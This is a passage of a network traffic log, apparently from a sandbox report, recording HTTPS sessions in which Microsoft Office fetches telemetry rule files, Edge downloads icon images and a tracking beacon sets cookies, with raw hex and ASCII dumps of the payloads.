2024-10-30 17:06:45 UTC	16384	IN	Data Raw: ad aa 22 99 f9 6b 19 8e 77 33 6f 51 d3 7b 52 bb 5c f6 1a ae 74 35 d8 43 c0 24 41 d4 13 73 6c 8c cc 2f 4d d1 f5 fd 4d 50 7b cd a2 db d8 e2 20 e1 1a c8 b8 91 68 e6 be 44 f7 f7 5e 26 24 72 f7 ec 5f 50 a2 05 5a 67 0b b2 64 43 da e2 08 1b c2 d3 a5 b5 4f cd 78 45 c7 3f ca bf b9 78 63 1f 24 cc 4f 2e dc 6f fb 3d 47 ee 31 59 98 4c 6a 66 47 95 84 ac 7e b7 af a9 d2 d3 73 81 6e eb 9a 0e 21 91 8c 94 a8 b1 ad 30 64 98 33 bd 61 c8 95 e5 fd b0 e6 d1 a6 69 10 48 aa 06 fe 42 0c c5 ef 7b dd 70 78 f2 cf 3f 24 45 cf 7f c9 d9 9e 38 61 86 53 51 b4 08 67 fe a4 13 15 28 cf 22 c7 41 3f e1 74 81 6f e2 5e 8a 8f b6 3a 2a c7 0f 70 b1 dc 9c d3 f7 12 17 c4 19 f1 0b da 5b 7e 56 5e 8a 83 5a de bb a7 68 3f ad d2 fe 77 b1 1b 32 5e d6 78 63 1d 7b 4c fd 9e 3e 13 33 d3 bc 47 dd f6 b6 96 d4 68 Data Ascii: "kw3oQ{R\t5C$Asl/MMP{ hD^&$r_PZgdCOxE?xc$O.o=G1YLjfG~sn!0d3aiHB{px?$E8aSQg("A?to^:*p[~V^Zh?w2^xc{L>3Gh
2024-10-30 17:06:45 UTC	1747	IN	Data Raw: 8e 05 67 96 31 94 54 c3 4c 73 9c 66 e2 68 5d 46 00 03 80 c6 48 69 27 2b 7e 91 cb 8a f2 3e d0 79 73 c3 03 4c 86 cc 8b 83 9d c0 d2 01 d5 7a 2a cf 34 e9 3d c6 74 c2 0e 86 4e 97 17 e2 bc b8 7f 78 be a3 ea 9a 75 1a 0e 11 1f 19 68 82 d9 ca da 6b c5 65 3b 45 1c cd cf 46 28 6e 26 98 8d d3 61 a3 b3 fa 2d fa d5 1b 5b a5 a4 4f f6 94 06 03 1f a9 84 cb 49 3c db 70 b2 dc f0 34 6b 65 e0 58 0f 3b 48 91 e2 a4 29 e3 a2 5d 2d 02 6c 26 e2 73 d8 38 2c 27 91 dc c5 c7 58 dd 5d ca ac 6b a3 47 80 cd 01 b1 20 d8 99 83 23 28 52 2c ab d4 b3 f4 83 49 82 d2 05 9b ef 8f 32 ab 0c 16 b6 c4 5e fc ac 94 25 ae 76 b8 70 81 33 96 5b 51 12 ce e4 b3 45 ed 8d eb 96 cb bf 85 a7 6e b6 bd 97 b0 a0 fa 6e a6 30 0b 09 03 15 c9 00 eb 99 13 c5 79 ba 1d 3b ab e2 38 9a 19 4c 09 71 70 6c 65 00 bb dc b6 1a Data Ascii: g1TLsfh]FHi'+~>ysLz*4=tNxuhke;EF(n&a-[OI<p4keX;H)]-l&s8,'X]kG #(R,I2^%vp3[QEnn0y;8Lqple
2024-10-30 17:06:45 UTC	16384	IN	Data Raw: 72 b2 ac 70 9c 8b 29 88 de ef f1 d9 ed e9 50 a0 c0 e2 61 87 f8 88 1e 1a 22 31 35 8d 3b cc f2 9f f2 5f 1f ac ea d4 9e 03 2a 3c 92 05 c3 89 12 7f 4d ac 48 f1 5a 1f bc ab 4a a9 c5 55 ce c0 cb 4f ea 23 97 2d ed 38 05 d1 3f c7 99 ff 00 75 b1 8f 34 47 78 ad fe 8f a4 8a a6 c0 16 93 a7 c4 2d c2 fa a1 cd 37 bd ae 71 0d bc ea d1 a7 85 97 82 a7 ed 4a c2 a7 f6 b2 c3 04 df 08 16 d2 e0 95 ed 99 ed 70 c2 de e3 66 5a 30 b4 16 92 67 f5 11 fa 5b 1c f5 53 3e 09 c6 95 1e 58 ca c9 6d 06 88 0e 02 1d a4 d8 ff 00 e6 4e 14 62 c2 a6 01 ac 62 10 23 33 bd 11 b5 05 5f db 46 a3 e2 83 44 5c cb a7 94 81 02 22 40 28 76 fb 5a ab 1e 59 14 b7 cc c8 69 90 de 62 64 17 70 8f 44 be 3c ed 7a f1 a6 97 51 4f b6 d1 86 a5 1a af 3a 0a 6d 93 e2 db 78 ad 3e 96 95 7e 94 12 e0 00 76 a5 a6 5c 00 bc 61 3e Data Ascii: rp)Pa"15;_*<MHZJUO#-8?u4Gx-7qJpfZ0g[S>XmNbb#3_FD\"@(vZYibdpD<zQO:mx>~v\a>
2024-10-30 17:06:45 UTC	16384	IN	Data Raw: ab 88 4c 21 08 77 04 64 49 54 19 88 c6 a8 04 b1 18 bb 01 07 8a 61 69 1f e4 a4 d2 08 9e 8e 1a e7 bd dc a0 71 25 0a 25 fa 0b 66 79 22 f0 c0 00 42 53 bc 51 c6 d3 66 d5 a8 1d 26 e2 79 2c d6 c3 9f c3 ec 8a c2 62 f7 29 10 ae 22 99 ce e6 90 d1 97 90 59 c6 4d 53 3e 08 bc d2 70 cb a5 52 47 e0 b0 13 aa 7b 80 c1 96 57 84 13 4b ac 26 fa ca 3a 88 15 0c 38 d8 72 cf 82 99 d9 a4 6f 2b e9 ab b2 88 70 73 a0 16 91 27 3e 1e 0b 2a ab 8b fc 89 8f 34 7d 6e 95 92 4e 2c 52 67 2b 7a ac 97 34 b7 4b 64 a6 2b ba f2 99 88 d3 3c 97 4d d8 46 72 99 73 ac f9 28 02 a7 2e 00 ab 64 e2 cf 5e 69 a2 8b 9d 61 03 8f 35 dd c2 5e 09 8b 08 13 a6 8b 47 a7 78 35 04 da 01 8c c4 c7 cc 28 9d a1 a6 31 13 2a 7d 16 50 bb 88 79 d0 34 58 0d bf 44 75 26 cb 1b 51 e0 00 6f 03 86 64 7d 82 cd a9 84 93 a9 13 ae 67 Data Ascii: L!wdITaiq%%fy"BSQf&y,b)"YMS>pRG{WK&:8ro+ps'>4}nN,Rg+z4Kd+<MFrs(.d^ia5^Gx5(1}Py4XDu&Qod}g
2024-10-30 17:06:45 UTC	7952	IN	Data Raw: a6 60 32 a7 3d c3 ea 7e a8 7c c6 cd 73 4e d2 79 10 3d 0a 62 19 6a d5 91 05 41 52 92 53 09 73 c1 30 5e 53 4a 7a 2e 11 ca ea b6 a8 5e 61 23 68 49 c3 f4 41 df 52 9d 30 dc d0 63 e6 50 42 c9 90 85 b1 4c 71 d1 25 04 62 ab ca a9 e0 a9 30 66 b0 99 29 59 66 a8 a0 27 2a 22 c5 45 76 68 07 93 f0 7c e6 ba 25 87 fd d3 f7 51 02 cd d9 ef 55 3b a7 6a 64 91 74 c7 2c 87 cf 35 64 e4 96 3d de f5 77 e4 90 41 12 4e 51 68 41 94 58 71 00 70 08 35 11 10 67 12 5b b5 4d 82 73 e3 c1 0e e1 05 04 90 54 35 2a db 9e c5 11 aa 0c 45 33 a8 f5 56 eb 68 52 9b aa b3 21 04 b6 eb e6 8a f2 f0 41 0d 6c 8c 87 0d 3c 10 45 54 b2 53 33 d8 99 50 5b 42 12 c5 93 06 a8 6a e5 31 3f 3f 8a 54 dc ca 01 b8 9c d7 0f 7a 8b cd 85 bc fd cb b4 5c f3 22 67 c9 01 cd cb de aa 77 8a e6 aa 77 c4 80 a4 c9 d3 ee 95 7d aa Data Ascii: `2=~\|sNy=bjARSs0^SJz.^a#hIAR0cPBLq%b0f)Yf'"Evh\|%QU;jdt,5d=wANQhAXqp5g[MsT5E3VhR!Al<ETS3P[Bj1??Tz\"gww}
2024-10-30 17:06:45 UTC	12216	IN	Data Raw: 71 09 0f c6 4d a6 3f de 7e 89 fc 70 9f 96 5e e9 bd 4b bf d5 1e 09 ce ea f0 8b d4 1e 6d fc 4a f9 e8 91 f8 c7 d6 54 1d 58 0f d4 06 c6 4f dd 2f 8e 15 f2 cb df fe fe ff 00 da 7f db f8 26 fe f6 74 78 f3 20 7b d7 ce 45 4a 45 c3 13 c9 da 07 b9 4d ce a3 7b 8f 07 7d 53 f8 f1 29 f2 e4 fa 10 ea 9e 35 ac dd 92 3e a5 5f ef 8f fa a0 7f 88 7d 17 ce 5b 07 42 d3 b5 51 24 66 d3 c2 df f5 2b f8 e1 9f cb 2f a2 3b af 04 7f 6a df e6 3f 45 11 d6 da f5 5b e6 e5 f3 63 55 bc 80 f3 8f 71 51 35 5b 17 71 fe 6f c1 2f 8f 13 f9 72 7d 30 f5 cc 1f f2 0f 27 7e 08 7f de b0 e9 50 7f 30 fa 2f 9c 8a f4 ef 67 1f 32 a1 df 6f 27 fc f9 2a d1 08 f9 32 7d 23 f7 61 c2 d5 40 f3 1f 45 7f b8 1f ea 03 c6 fe e6 af 9b 97 b5 c3 e0 70 f3 5d 89 b1 67 10 55 69 84 eb 97 d3 85 77 45 aa 37 f9 a0 fa 85 13 59 c7 fe Data Ascii: qM?~p^KmJTXO/&tx {EJEM{}S)5>_}[BQ$f+/;j?E[cUqQ5[qo/r}0'~P0/g2o'*2}#a@Ep]gUiwE7Y

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49870	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:44 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:44 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: ffa56774-c01e-007a-6c38-26b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170644Z-r1755647c66z4xgb5rng8h32e80000000790000000005dhu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:45 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	49871	13.107.246.57	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:44 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 17:06:44 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:44 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: d414cbbc-701e-0005-7e90-289c78000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T170644Z-16849878b78zqkvcwgr6h55x9n00000007u0000000009ze1 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 17:06:44 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	49878	18.245.113.126	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:44 UTC	925	OUT	GET /b?rn=1730308002026&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3A3C51D39FB2654125F844FB9EBA64FA&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 17:06:45 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Wed, 30 Oct 2024 17:06:45 GMT Accept-CH: UA, Platform, Arch, Model, Mobile Location: /b2?rn=1730308002026&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3A3C51D39FB2654125F844FB9EBA64FA&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1B6dc4876605b7882e815831730308005; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1B6dc4876605b7882e815831730308005; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 X-Cache: Miss from cloudfront Via: 1.1 f16991a19cc348d88a5c4397ded6f796.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW57-P8 X-Amz-Cf-Id: nWZdK3AcRs_Lt9T0Or3MdM269WkIXR_9yuT3H9MY0OzSgpgn0zn7Lg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49876	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:45 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:45 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 2e5beeba-d01e-002b-6c67-2825fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170645Z-r1755647c66p58nm9wqx75pnms00000007kg0000000025nq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:45 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49877	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:45 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:45 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:45 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 04de2316-001e-0082-3987-285880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170645Z-17fbfdc98bbfmg5wrf1ctcuuun00000008ng000000007rex x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 17:06:45 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	49879	13.107.253.45	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:45 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:45 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:45 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 321a447c-801e-002a-4da3-2631dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170645Z-r1755647c66tgwsmrrc4e69sk000000007h0000000008bmx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 17:06:45 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	49880	13.107.246.57	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:45 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 17:06:45 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:45 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: b003c4e3-a01e-0061-6990-282cd8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T170645Z-16849878b7828dsgct3vrzta7000000006sg00000000d2z3 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 17:06:45 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	49881	13.107.246.57	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:45 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 17:06:45 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:45 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 28027cef-b01e-003a-3dd5-282ba4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T170645Z-16849878b78tg5n42kspfr0x4800000008ag00000000gq85 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
